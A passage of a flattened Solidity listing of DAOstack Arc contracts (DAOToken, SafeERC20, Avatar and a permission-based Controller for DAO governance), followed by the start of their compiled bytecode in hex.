zeppelin contract. * @dev ERC20 compatible token. It is a mintable, burnable token. */ contract DAOToken is ERC20, ERC20Burnable, Ownable { string public name; string public symbol; // solhint-disable-next-line const-name-snakecase uint8 public constant decimals = 18; uint256 public cap; /** * @dev Constructor * @param _name - token name * @param _symbol - token symbol * @param _cap - token cap - 0 value means no cap */ constructor(string memory _name, string memory _symbol, uint256 _cap) public { name = _name; symbol = _symbol; cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. */ function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { if (cap > 0) require(totalSupply().add(_amount) <= cap); _mint(_to, _amount); return true; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.0; /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: @daostack/arc/contracts/libs/SafeERC20.sol /* SafeERC20 by daostack. The code is based on a fix by SECBIT Team. USE WITH CAUTION & NO WARRANTY REFERENCE & RELATED READING - https://github.com/ethereum/solidity/issues/4116 - https://medium.com/@chris_77367/explaining-unexpected-reverts-starting-with-solidity-0-4-22-3ada6e82308c - https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca - https://gist.github.com/BrendanChou/88a2eeb80947ff00bcf58ffdafeaeb61 */ pragma solidity ^0.5.4; library SafeERC20 { using Address for address; bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)"))); bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)"))); function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal { // Must be a contract addr first! require(_erc20Addr.isContract()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal { // Must be a contract addr first! require(_erc20Addr.isContract()); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal { // Must be a contract addr first! require(_erc20Addr.isContract()); // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0)); (bool success, bytes memory returnValue) = // solhint-disable-next-line avoid-low-level-calls _erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value)); // call return false when something wrong require(success); //check return value require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } } // File: @daostack/arc/contracts/controller/Avatar.sol pragma solidity ^0.5.4; /** * @title An Avatar holds tokens, reputation and ether for a controller */ contract Avatar is Ownable { using SafeERC20 for address; string public orgName; DAOToken public nativeToken; Reputation public nativeReputation; event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success); event SendEther(uint256 _amountInWei, address indexed _to); event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value); event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value); event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value); event ReceiveEther(address indexed _sender, uint256 _value); event MetaData(string _metaData); /** * @dev the constructor takes organization name, native token and reputation system and creates an avatar for a controller */ constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public { orgName = _orgName; nativeToken = _nativeToken; nativeReputation = _nativeReputation; } /** * @dev enables an avatar to receive ethers */ function() external payable { emit ReceiveEther(msg.sender, msg.value); } /** * @dev perform a generic call to an arbitrary contract * @param _contract the contract's address to call * @param _data ABI-encoded contract call to call `_contract` address. * @param _value value (ETH) to transfer with the transaction * @return bool success or fail * bytes - the return bytes of the called contract's function. */ function genericCall(address _contract, bytes memory _data, uint256 _value) public onlyOwner returns(bool success, bytes memory returnValue) { // solhint-disable-next-line avoid-call-value (success, returnValue) = _contract.call.value(_value)(_data); emit GenericCall(_contract, _data, _value, success); } /** * @dev send ethers from the avatar's wallet * @param _amountInWei amount to send in Wei units * @param _to send the ethers to this address * @return bool which represents success */ function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) { _to.transfer(_amountInWei); emit SendEther(_amountInWei, _to); return true; } /** * @dev external token transfer * @param _externalToken the token contract * @param _to the destination address * @param _value the amount of tokens to transfer * @return bool which represents success */ function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value) public onlyOwner returns(bool) { address(_externalToken).safeTransfer(_to, _value); emit ExternalTokenTransfer(address(_externalToken), _to, _value); return true; } /** * @dev external token transfer from a specific account * @param _externalToken the token contract * @param _from the account to spend token from * @param _to the destination address * @param _value the amount of tokens to transfer * @return bool which represents success */ function externalTokenTransferFrom( IERC20 _externalToken, address _from, address _to, uint256 _value ) public onlyOwner returns(bool) { address(_externalToken).safeTransferFrom(_from, _to, _value); emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value); return true; } /** * @dev externalTokenApproval approve the spender address to spend a specified amount of tokens * on behalf of msg.sender. * @param _externalToken the address of the Token Contract * @param _spender address * @param _value the amount of ether (in Wei) which the approval is referring to. * @return bool which represents a success */ function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value) public onlyOwner returns(bool) { address(_externalToken).safeApprove(_spender, _value); emit ExternalTokenApproval(address(_externalToken), _spender, _value); return true; } /** * @dev metaData emits an event with a string, should contain the hash of some meta data. * @param _metaData a string representing a hash of the meta data * @return bool which represents a success */ function metaData(string memory _metaData) public onlyOwner returns(bool) { emit MetaData(_metaData); return true; } } // File: @daostack/arc/contracts/globalConstraints/GlobalConstraintInterface.sol pragma solidity ^0.5.4; contract GlobalConstraintInterface { enum CallPhase { Pre, Post, PreAndPost } function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); /** * @dev when return if this globalConstraints is pre, post or both. * @return CallPhase enum indication Pre, Post or PreAndPost. */ function when() public returns(CallPhase); } // File: @daostack/arc/contracts/controller/ControllerInterface.sol pragma solidity ^0.5.4; /** * @title Controller contract * @dev A controller controls the organizations tokens ,reputation and avatar. * It is subject to a set of schemes and constraints that determine its behavior. * Each scheme has it own parameters and operation permissions. */ interface ControllerInterface { /** * @dev Mint `_amount` of reputation that are assigned to `_to` . * @param _amount amount of reputation to mint * @param _to beneficiary address * @return bool which represents a success */ function mintReputation(uint256 _amount, address _to, address _avatar) external returns(bool); /** * @dev Burns `_amount` of reputation from `_from` * @param _amount amount of reputation to burn * @param _from The address that will lose the reputation * @return bool which represents a success */ function burnReputation(uint256 _amount, address _from, address _avatar) external returns(bool); /** * @dev mint tokens . * @param _amount amount of token to mint * @param _beneficiary beneficiary address * @param _avatar address * @return bool which represents a success */ function mintTokens(uint256 _amount, address _beneficiary, address _avatar) external returns(bool); /** * @dev register or update a scheme * @param _scheme the address of the scheme * @param _paramsHash a hashed configuration of the usage of the scheme * @param _permissions the permissions the new scheme will have * @param _avatar address * @return bool which represents a success */ function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar) external returns(bool); /** * @dev unregister a scheme * @param _avatar address * @param _scheme the address of the scheme * @return bool which represents a success */ function unregisterScheme(address _scheme, address _avatar) external returns(bool); /** * @dev unregister the caller's scheme * @param _avatar address * @return bool which represents a success */ function unregisterSelf(address _avatar) external returns(bool); /** * @dev add or update Global Constraint * @param _globalConstraint the address of the global constraint to be added. * @param _params the constraint parameters hash. * @param _avatar the avatar of the organization * @return bool which represents a success */ function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar) external returns(bool); /** * @dev remove Global Constraint * @param _globalConstraint the address of the global constraint to be remove. * @param _avatar the organization avatar. * @return bool which represents a success */ function removeGlobalConstraint (address _globalConstraint, address _avatar) external returns(bool); /** * @dev upgrade the Controller * The function will trigger an event 'UpgradeController'. * @param _newController the address of the new controller. * @param _avatar address * @return bool which represents a success */ function upgradeController(address _newController, Avatar _avatar) external returns(bool); /** * @dev perform a generic call to an arbitrary contract * @param _contract the contract's address to call * @param _data ABI-encoded contract call to call `_contract` address. * @param _avatar the controller's avatar address * @param _value value (ETH) to transfer with the transaction * @return bool -success * bytes - the return value of the called _contract's function. */ function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value) external returns(bool, bytes memory); /** * @dev send some ether * @param _amountInWei the amount of ether (in Wei) to send * @param _to address of the beneficiary * @param _avatar address * @return bool which represents a success */ function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar) external returns(bool); /** * @dev send some amount of arbitrary ERC20 Tokens * @param _externalToken the address of the Token Contract * @param _to address of the beneficiary * @param _value the amount of ether (in Wei) to send * @param _avatar address * @return bool which represents a success */ function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar) external returns(bool); /** * @dev transfer token "from" address "to" address * One must to approve the amount of tokens which can be spend from the * "from" account.This can be done using externalTokenApprove. * @param _externalToken the address of the Token Contract * @param _from address of the account to send from * @param _to address of the beneficiary * @param _value the amount of ether (in Wei) to send * @param _avatar address * @return bool which represents a success */ function externalTokenTransferFrom( IERC20 _externalToken, address _from, address _to, uint256 _value, Avatar _avatar) external returns(bool); /** * @dev externalTokenApproval approve the spender address to spend a specified amount of tokens * on behalf of msg.sender. * @param _externalToken the address of the Token Contract * @param _spender address * @param _value the amount of ether (in Wei) which the approval is referring to. * @return bool which represents a success */ function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar) external returns(bool); /** * @dev metaData emits an event with a string, should contain the hash of some meta data. * @param _metaData a string representing a hash of the meta data * @param _avatar Avatar * @return bool which represents a success */ function metaData(string calldata _metaData, Avatar _avatar) external returns(bool); /** * @dev getNativeReputation * @param _avatar the organization avatar. * @return organization native reputation */ function getNativeReputation(address _avatar) external view returns(address); function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool); function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32); function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32); function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4); /** * @dev globalConstraintsCount return the global constraint pre and post count * @return uint256 globalConstraintsPre count. * @return uint256 globalConstraintsPost count. */ function globalConstraintsCount(address _avatar) external view returns(uint, uint); function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool); } // File: @daostack/arc/contracts/controller/Controller.sol pragma solidity ^0.5.4; /** * @title Controller contract * @dev A controller controls the organizations tokens, reputation and avatar. * It is subject to a set of schemes and constraints that determine its behavior. * Each scheme has it own parameters and operation permissions. */ contract Controller is ControllerInterface { struct Scheme { bytes32 paramsHash; // a hash "configuration" of the scheme bytes4 permissions; // A bitwise flags of permissions, // All 0: Not registered, // 1st bit: Flag if the scheme is registered, // 2nd bit: Scheme can register other schemes // 3rd bit: Scheme can add/remove global constraints // 4th bit: Scheme can upgrade the controller // 5th bit: Scheme can call genericCall on behalf of // the organization avatar } struct GlobalConstraint { address gcAddress; bytes32 params; } struct GlobalConstraintRegister { bool isRegistered; //is registered uint256 index; //index at globalConstraints } mapping(address=>Scheme) public schemes; Avatar public avatar; DAOToken public nativeToken; Reputation public nativeReputation; // newController will point to the new controller after the present controller is upgraded address public newController; // globalConstraintsPre that determine pre conditions for all actions on the controller GlobalConstraint[] public globalConstraintsPre; // globalConstraintsPost that determine post conditions for all actions on the controller GlobalConstraint[] public globalConstraintsPost; // globalConstraintsRegisterPre indicate if a globalConstraints is registered as a pre global constraint mapping(address=>GlobalConstraintRegister) public globalConstraintsRegisterPre; // globalConstraintsRegisterPost indicate if a globalConstraints is registered as a post global constraint mapping(address=>GlobalConstraintRegister) public globalConstraintsRegisterPost; event MintReputation (address indexed _sender, address indexed _to, uint256 _amount); event BurnReputation (address indexed _sender, address indexed _from, uint256 _amount); event MintTokens (address indexed _sender, address indexed _beneficiary, uint256 _amount); event RegisterScheme (address indexed _sender, address indexed _scheme); event UnregisterScheme (address indexed _sender, address indexed _scheme); event UpgradeController(address indexed _oldController, address _newController); event AddGlobalConstraint( address indexed _globalConstraint, bytes32 _params, GlobalConstraintInterface.CallPhase _when); event RemoveGlobalConstraint(address indexed _globalConstraint, uint256 _index, bool _isPre); constructor( Avatar _avatar) public { avatar = _avatar; nativeToken = avatar.nativeToken(); nativeReputation = avatar.nativeReputation(); schemes[msg.sender] = Scheme({paramsHash: bytes32(0), permissions: bytes4(0x0000001F)}); } // Do not allow mistaken calls: // solhint-disable-next-line payable-fallback function() external { revert(); } // Modifiers: modifier onlyRegisteredScheme() { require(schemes[msg.sender].permissions&bytes4(0x00000001) == bytes4(0x00000001)); _; } modifier onlyRegisteringSchemes() { require(schemes[msg.sender].permissions&bytes4(0x00000002) == bytes4(0x00000002)); _; } modifier onlyGlobalConstraintsScheme() { require(schemes[msg.sender].permissions&bytes4(0x00000004) == bytes4(0x00000004)); _; } modifier onlyUpgradingScheme() { require(schemes[msg.sender].permissions&bytes4(0x00000008) == bytes4(0x00000008)); _; } modifier onlyGenericCallScheme() { require(schemes[msg.sender].permissions&bytes4(0x00000010) == bytes4(0x00000010)); _; } modifier onlyMetaDataScheme() { require(schemes[msg.sender].permissions&bytes4(0x00000010) == bytes4(0x00000010)); _; } modifier onlySubjectToConstraint(bytes32 func) { uint256 idx; for (idx = 0; idx < globalConstraintsPre.length; idx++) { require( (GlobalConstraintInterface(globalConstraintsPre[idx].gcAddress)) .pre(msg.sender, globalConstraintsPre[idx].params, func)); } _; for (idx = 0; idx < globalConstraintsPost.length; idx++) { require( (GlobalConstraintInterface(globalConstraintsPost[idx].gcAddress)) .post(msg.sender, globalConstraintsPost[idx].params, func)); } } modifier isAvatarValid(address _avatar) { require(_avatar == address(avatar)); _; } /** * @dev Mint `_amount` of reputation that are assigned to `_to` . * @param _amount amount of reputation to mint * @param _to beneficiary address * @return bool which represents a success */ function mintReputation(uint256 _amount, address _to, address _avatar) external onlyRegisteredScheme onlySubjectToConstraint("mintReputation") isAvatarValid(_avatar) returns(bool) { emit MintReputation(msg.sender, _to, _amount); return nativeReputation.mint(_to, _amount); } /** * @dev Burns `_amount` of reputation from `_from` * @param _amount amount of reputation to burn * @param _from The address that will lose the reputation * @return bool which represents a success */ function burnReputation(uint256 _amount, address _from, address _avatar) external onlyRegisteredScheme onlySubjectToConstraint("burnReputation") isAvatarValid(_avatar) returns(bool) { emit BurnReputation(msg.sender, _from, _amount); return nativeReputation.burn(_from, _amount); } /** * @dev mint tokens . * @param _amount amount of token to mint * @param _beneficiary beneficiary address * @return bool which represents a success */ function mintTokens(uint256 _amount, address _beneficiary, address _avatar) external onlyRegisteredScheme onlySubjectToConstraint("mintTokens") isAvatarValid(_avatar) returns(bool) { emit MintTokens(msg.sender, _beneficiary, _amount); return nativeToken.mint(_beneficiary, _amount); } /** * @dev register a scheme * @param _scheme the address of the scheme * @param _paramsHash a hashed configuration of the usage of the scheme * @param _permissions the permissions the new scheme will have * @return bool which represents a success */ function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar) external onlyRegisteringSchemes onlySubjectToConstraint("registerScheme") isAvatarValid(_avatar) returns(bool) { Scheme memory scheme = schemes[_scheme]; // Check scheme has at least the permissions it is changing, and at least the current permissions: // Implementation is a bit messy. One must recall logic-circuits ^^ // produces non-zero if sender does not have all of the perms that are changing between old and new require(bytes4(0x0000001f)&(_permissions^scheme.permissions)&(~schemes[msg.sender].permissions) == bytes4(0)); // produces non-zero if sender does not have all of the perms in the old scheme require(bytes4(0x0000001f)&(scheme.permissions&(~schemes[msg.sender].permissions)) == bytes4(0)); // Add or change the scheme: schemes[_scheme].paramsHash = _paramsHash; schemes[_scheme].permissions = _permissions|bytes4(0x00000001); emit RegisterScheme(msg.sender, _scheme); return true; } /** * @dev unregister a scheme * @param _scheme the address of the scheme * @return bool which represents a success */ function unregisterScheme( address _scheme, address _avatar) external onlyRegisteringSchemes onlySubjectToConstraint("unregisterScheme") isAvatarValid(_avatar) returns(bool) { //check if the scheme is registered if (_isSchemeRegistered(_scheme) == false) { return false; } // Check the unregistering scheme has enough permissions: require(bytes4(0x0000001f)&(schemes[_scheme].permissions&(~schemes[msg.sender].permissions)) == bytes4(0)); // Unregister: emit UnregisterScheme(msg.sender, _scheme); delete schemes[_scheme]; return true; } /** * @dev unregister the caller's scheme * @return bool which represents a success */ function unregisterSelf(address _avatar) external isAvatarValid(_avatar) returns(bool) { if (_isSchemeRegistered(msg.sender) == false) { return false; } delete schemes[msg.sender]; emit UnregisterScheme(msg.sender, msg.sender); return true; } /** * @dev add or update Global Constraint * @param _globalConstraint the address of the global constraint to be added. * @param _params the constraint parameters hash. * @return bool which represents a success */ function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar) external onlyGlobalConstraintsScheme isAvatarValid(_avatar) returns(bool) { GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when(); if ((when == GlobalConstraintInterface.CallPhase.Pre)|| (when == GlobalConstraintInterface.CallPhase.PreAndPost)) { if (!globalConstraintsRegisterPre[_globalConstraint].isRegistered) { globalConstraintsPre.push(GlobalConstraint(_globalConstraint, _params)); globalConstraintsRegisterPre[_globalConstraint] = GlobalConstraintRegister(true, globalConstraintsPre.length-1); }else { globalConstraintsPre[globalConstraintsRegisterPre[_globalConstraint].index].params = _params; } } if ((when == GlobalConstraintInterface.CallPhase.Post)|| (when == GlobalConstraintInterface.CallPhase.PreAndPost)) { if (!globalConstraintsRegisterPost[_globalConstraint].isRegistered) { globalConstraintsPost.push(GlobalConstraint(_globalConstraint, _params)); globalConstraintsRegisterPost[_globalConstraint] = GlobalConstraintRegister(true, globalConstraintsPost.length-1); }else { globalConstraintsPost[globalConstraintsRegisterPost[_globalConstraint].index].params = _params; } } emit AddGlobalConstraint(_globalConstraint, _params, when); return true; } /** * @dev remove Global Constraint * @param _globalConstraint the address of the global constraint to be remove. * @return bool which represents a success */ // solhint-disable-next-line code-complexity function removeGlobalConstraint (address _globalConstraint, address _avatar) external onlyGlobalConstraintsScheme isAvatarValid(_avatar) returns(bool) { GlobalConstraintRegister memory globalConstraintRegister; GlobalConstraint memory globalConstraint; GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when(); bool retVal = false; if ((when == GlobalConstraintInterface.CallPhase.Pre)|| (when == GlobalConstraintInterface.CallPhase.PreAndPost)) { globalConstraintRegister = globalConstraintsRegisterPre[_globalConstraint]; if (globalConstraintRegister.isRegistered) { if (globalConstraintRegister.index < globalConstraintsPre.length-1) { globalConstraint = globalConstraintsPre[globalConstraintsPre.length-1]; globalConstraintsPre[globalConstraintRegister.index] = globalConstraint; globalConstraintsRegisterPre[globalConstraint.gcAddress].index = globalConstraintRegister.index; } globalConstraintsPre.length--; delete globalConstraintsRegisterPre[_globalConstraint]; retVal = true; } } if ((when == GlobalConstraintInterface.CallPhase.Post)|| (when == GlobalConstraintInterface.CallPhase.PreAndPost)) { globalConstraintRegister = globalConstraintsRegisterPost[_globalConstraint]; if (globalConstraintRegister.isRegistered) { if (globalConstraintRegister.index < globalConstraintsPost.length-1) { globalConstraint = globalConstraintsPost[globalConstraintsPost.length-1]; globalConstraintsPost[globalConstraintRegister.index] = globalConstraint; globalConstraintsRegisterPost[globalConstraint.gcAddress].index = globalConstraintRegister.index; } globalConstraintsPost.length--; delete globalConstraintsRegisterPost[_globalConstraint]; retVal = true; } } if (retVal) { emit RemoveGlobalConstraint( _globalConstraint, globalConstraintRegister.index, when == GlobalConstraintInterface.CallPhase.Pre ); } return retVal; } /** * @dev upgrade the Controller * The function will trigger an event 'UpgradeController'. * @param _newController the address of the new controller. * @return bool which represents a success */ function upgradeController(address _newController, Avatar _avatar) external onlyUpgradingScheme isAvatarValid(address(_avatar)) returns(bool) { require(newController == address(0)); // so the upgrade could be done once for a contract. require(_newController != address(0)); newController = _newController; avatar.transferOwnership(_newController); require(avatar.owner() == _newController); if (nativeToken.owner() == address(this)) { nativeToken.transferOwnership(_newController); require(nativeToken.owner() == _newController); } if (nativeReputation.owner() == address(this)) { nativeReputation.transferOwnership(_newController); require(nativeReputation.owner() == _newController); } emit UpgradeController(address(this), newController); return true; } /** * @dev perform a generic call to an arbitrary contract * @param _contract the contract's address to call * @param _data ABI-encoded contract call to call `_contract` address. * @param _avatar the controller's avatar address * @param _value value (ETH) to transfer with the transaction * @return bool -success * bytes - the return value of the called _contract's function. */ function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value) external onlyGenericCallScheme onlySubjectToConstraint("genericCall") isAvatarValid(address(_avatar)) returns (bool, bytes memory) { return avatar.genericCall(_contract, _data, _value); } /** * @dev send some ether * @param _amountInWei the amount of ether (in Wei) to send * @param _to address of the beneficiary * @return bool which represents a success */ function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar) external onlyRegisteredScheme onlySubjectToConstraint("sendEther") isAvatarValid(address(_avatar)) returns(bool) { return avatar.sendEther(_amountInWei, _to); } /** * @dev send some amount of arbitrary ERC20 Tokens * @param _externalToken the address of the Token Contract * @param _to address of the beneficiary * @param _value the amount of ether (in Wei) to send * @return bool which represents a success */ function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar) external onlyRegisteredScheme onlySubjectToConstraint("externalTokenTransfer") isAvatarValid(address(_avatar)) returns(bool) { return avatar.externalTokenTransfer(_externalToken, _to, _value); } /** * @dev transfer token "from" address "to" address * One must to approve the amount of tokens which can be spend from the * "from" account.This can be done using externalTokenApprove. * @param _externalToken the address of the Token Contract * @param _from address of the account to send from * @param _to address of the beneficiary * @param _value the amount of ether (in Wei) to send * @return bool which represents a success */ function externalTokenTransferFrom( IERC20 _externalToken, address _from, address _to, uint256 _value, Avatar _avatar) external onlyRegisteredScheme onlySubjectToConstraint("externalTokenTransferFrom") isAvatarValid(address(_avatar)) returns(bool) { return avatar.externalTokenTransferFrom(_externalToken, _from, _to, _value); } /** * @dev externalTokenApproval approve the spender address to spend a specified amount of tokens * on behalf of msg.sender. * @param _externalToken the address of the Token Contract * @param _spender address * @param _value the amount of ether (in Wei) which the approval is referring to. * @return bool which represents a success */ function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar) external onlyRegisteredScheme onlySubjectToConstraint("externalTokenIncreaseApproval") isAvatarValid(address(_avatar)) returns(bool) { return avatar.externalTokenApproval(_externalToken, _spender, _value); } /** * @dev metaData emits an event with a string, should contain the hash of some meta data. * @param _metaData a string representing a hash of the meta data * @param _avatar Avatar * @return bool which represents a success */ function metaData(string calldata _metaData, Avatar _avatar) external onlyMetaDataScheme isAvatarValid(address(_avatar)) returns(bool) { return avatar.metaData(_metaData); } /** * @dev getNativeReputation * @param _avatar the organization avatar. * @return organization native reputation */ function getNativeReputation(address _avatar) external isAvatarValid(_avatar) view returns(address) { return address(nativeReputation); } function isSchemeRegistered(address _scheme, address _avatar) external isAvatarValid(_avatar) view returns(bool) { return _isSchemeRegistered(_scheme); } function getSchemeParameters(address _scheme, address _avatar) external isAvatarValid(_avatar) view returns(bytes32) { return schemes[_scheme].paramsHash; } function getSchemePermissions(address _scheme, address _avatar) external isAvatarValid(_avatar) view returns(bytes4) { return schemes[_scheme].permissions; } function getGlobalConstraintParameters(address _globalConstraint, address) external view returns(bytes32) { GlobalConstraintRegister memory register = globalConstraintsRegisterPre[_globalConstraint]; if (register.isRegistered) { return globalConstraintsPre[register.index].params; } register = globalConstraintsRegisterPost[_globalConstraint]; if (register.isRegistered) { return globalConstraintsPost[register.index].params; } } /** * @dev globalConstraintsCount return the global constraint pre and post count * @return uint256 globalConstraintsPre count. * @return uint256 globalConstraintsPost count. */ function globalConstraintsCount(address _avatar) external isAvatarValid(_avatar) view returns(uint, uint) { return (globalConstraintsPre.length, globalConstraintsPost.length); } function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external isAvatarValid(_avatar) view returns(bool) { return (globalConstraintsRegisterPre[_globalConstraint].isRegistered || globalConstraintsRegisterPost[_globalConstraint].isRegistered); } function _isSchemeRegistered(address _scheme) private view returns(bool) { return (schemes[_scheme].permissions&bytes4(0x00000001) != bytes4(0)); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806389ae1c901161010f578063e08738da116100a2578063e8c98b2211610071578063e8c98b221461083e578063eaf994b21461085b578063f76488be1461088f578063fb4856a2146108bd576101e5565b8063e08738da1461078e578063e1758bd8146107bc578063e4537a74146107c4578063e869d45f146107fa576101e5565b8063b9a04cdd116100de578063b9a04cdd1461057f578063c9b62eb1146105bb578063d1b7089a14610634578063db6149ce14610746576101e5565b806389ae1c90146104d85780638da03997146104e05780639b51e35a146105065780639be2faed14610551576101e5565b806351803cd8116101875780636c525b13116101565780636c525b13146104195780636e94d2781461043f578063814784f614610473578063824f2f1f14610499576101e5565b806351803cd81461036d5780635aef7de6146103a9578063634965da146103b15780636407e432146103e5576101e5565b80633a02263c116101c35780633a02263c146102ad57806342427bf8146102d15780634422d372146102ff5780634f52b5be1461033f576101e5565b8063039de01d146101ea578063177eebb01461022c5780631c4d56081461026d575b600080fd5b6102186004803603604081101561020057600080fd5b506001600160a01b0381358116916020013516610903565b604080519115158252519081900360200190f35b6102526004803603602081101561024257600080fd5b50356001600160a01b0316610c09565b60408051921515835260208301919091528051918290030190f35b61029b6004803603604081101561028357600080fd5b506001600160a01b0381358116916020013516610c28565b60408051918252519081900360200190f35b6102b5610c6a565b604080516001600160a01b039092168252519081900360200190f35b610218600480360360408110156102e757600080fd5b506001600160a01b0381358116916020013516610c79565b61031c6004803603602081101561031557600080fd5b503561113b565b604080516001600160a01b03909316835260208301919091528051918290030190f35b6102186004803603604081101561035557600080fd5b506001600160a01b0381358116916020013516611170565b6102186004803603608081101561038357600080fd5b506001600160a01b0381358116916020810135821691604082013591606001351661156b565b6102b561184f565b610218600480360360608110156103c757600080fd5b508035906001600160a01b036020820135811691604001351661185e565b610218600480360360608110156103fb57600080fd5b508035906001600160a01b0360208201358116916040013516611b25565b6102186004803603602081101561042f57600080fd5b50356001600160a01b0316611e24565b6102186004803603606081101561045557600080fd5b508035906001600160a01b0360208201358116916040013516611eab565b6102526004803603602081101561048957600080fd5b50356001600160a01b03166121ae565b6104bf600480360360208110156104af57600080fd5b50356001600160a01b03166121cd565b6040805192835260208301919091528051918290030190f35b6102b56121ff565b6102b5600480360360208110156104f657600080fd5b50356001600160a01b031661220e565b6105346004803603604081101561051c57600080fd5b506001600160a01b0381358116916020013516612240565b604080516001600160e01b03199092168252519081900360200190f35b6102186004803603604081101561056757600080fd5b506001600160a01b0381358116916020013516612283565b6102186004803603608081101561059557600080fd5b506001600160a01b038135811691602081013582169160408201359160600135166122b3565b610218600480360360408110156105d157600080fd5b8101906020810181356401000000008111156105ec57600080fd5b8201836020820111156105fe57600080fd5b8035906020019184600183028401116401000000008311171561062057600080fd5b9193509150356001600160a01b0316612585565b6106c36004803603608081101561064a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561067557600080fd5b82018360208201111561068757600080fd5b803590602001918460018302840111640100000000831117156106a957600080fd5b91935091506001600160a01b038135169060200135612675565b604051808315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561070a5781810151838201526020016106f2565b50505050905090810190601f1680156107375780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61076c6004803603602081101561075c57600080fd5b50356001600160a01b0316612a46565b604080519283526001600160e01b031990911660208301528051918290030190f35b61029b600480360360408110156107a457600080fd5b506001600160a01b0381358116916020013516612a62565b6102b5612b2e565b610218600480360360608110156107da57600080fd5b506001600160a01b03813581169160208101359160409091013516612b3d565b6102186004803603608081101561081057600080fd5b506001600160a01b0381358116916020810135916001600160e01b0319604083013516916060013516612f09565b61031c6004803603602081101561085457600080fd5b5035613246565b6102186004803603606081101561087157600080fd5b508035906001600160a01b0360208201358116916040013516613253565b610218600480360360408110156108a557600080fd5b506001600160a01b0381358116916020013516613556565b610218600480360360a08110156108d357600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013591608090910135166135b8565b3360009081526020819052604081206001015460e01b600160e11b9081161461092b57600080fd5b6f756e7265676973746572536368656d6560801b60005b600554811015610a32576005818154811061095957fe5b6000918252602090912060029091020154600580546001600160a01b039092169163c1786ab29133918590811061098c57fe5b906000526020600020906002020160010154856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b031681526020018381526020018281526020019350505050602060405180830381600087803b1580156109f557600080fd5b505af1158015610a09573d6000803e3d6000fd5b505050506040513d6020811015610a1f57600080fd5b5051610a2a57600080fd5b600101610942565b60015484906001600160a01b03808316911614610a4e57600080fd5b610a57866138a5565b610a645760009350610b0b565b336000908152602081905260408082206001908101546001600160a01b038a168452919092209091015460e091821b19911b16601f60e01b1615610aa757600080fd5b6040516001600160a01b0387169033907f10bb2cf04cb8b902a8e736d494f1a51003be6d4b16ef6fb95ce62c3